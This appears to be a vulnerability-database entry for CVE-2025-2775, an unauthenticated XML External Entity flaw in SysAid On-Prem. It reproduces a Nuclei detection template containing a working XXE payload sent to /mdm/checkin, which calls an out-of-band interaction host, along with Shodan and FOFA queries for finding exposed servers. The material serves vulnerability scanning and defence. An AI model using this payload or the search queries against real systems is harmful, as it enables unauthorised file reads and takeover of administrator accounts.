CVE-2025-2775: SysAid On-Prem <= 23.3.40 - XML External Entity

日期: 2025-08-01 | 影响软件: SysAid On-Prem | POC: 已公开

漏洞描述

SysAid On-Prem versions <= 23.3.40 are vulnerable to an unauthenticated XML External Entity (XXE) vulnerability in the Checkin processing functionality, allowing for administrator account takeover and file read primitives.

PoC代码[已公开]

id: CVE-2025-2775

info:
  name: SysAid On-Prem <= 23.3.40 - XML External Entity
  author: johnk3r
  severity: critical
  description: |
    SysAid On-Prem versions <= 23.3.40 are vulnerable to an unauthenticated XML External Entity (XXE) vulnerability in the Checkin processing functionality, allowing for administrator account takeover and file read primitives.
  reference:
    - https://labs.watchtowr.com/sysowned-your-friendly-rce-support-ticket/
    - https://documentation.sysaid.com/docs/24-40-60
  classification:
    epss-score: 0.51818
    epss-percentile: 0.9783
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
    cvss-score: 9.3
    cve-id: CVE-2025-2775
    cwe-id: CWE-611
  metadata:
    max-request: 1
    vendor: sysaid
    product: sysaid
    shodan-query: http.favicon.hash:"1540720428"
    fofa-query: icon_hash=1540720428
  tags: cve,cve2025,oast,sysaid,xxe,kev,vkev

variables:
  filename: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        POST /mdm/checkin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <?xml version="1.0" ?>
        <!DOCTYPE foo [
        <!ENTITY % foo SYSTEM "http://{{interactsh-url}}/{{filename}}.dtd">
        %foo;
        ]>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: Java"
# digest: 4b0a0048304602210096f7d85a6d113dc8b6dc9f4c1a77f4473a76ff20fd944dd6a1b76a233d2349ae022100f80f282ee139cc6670363c90dff5dc44043d5429a6d34c0ddf99dc332db4c875:922c64590222798bb761d5b6d8e72950
来源: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-2775.yaml

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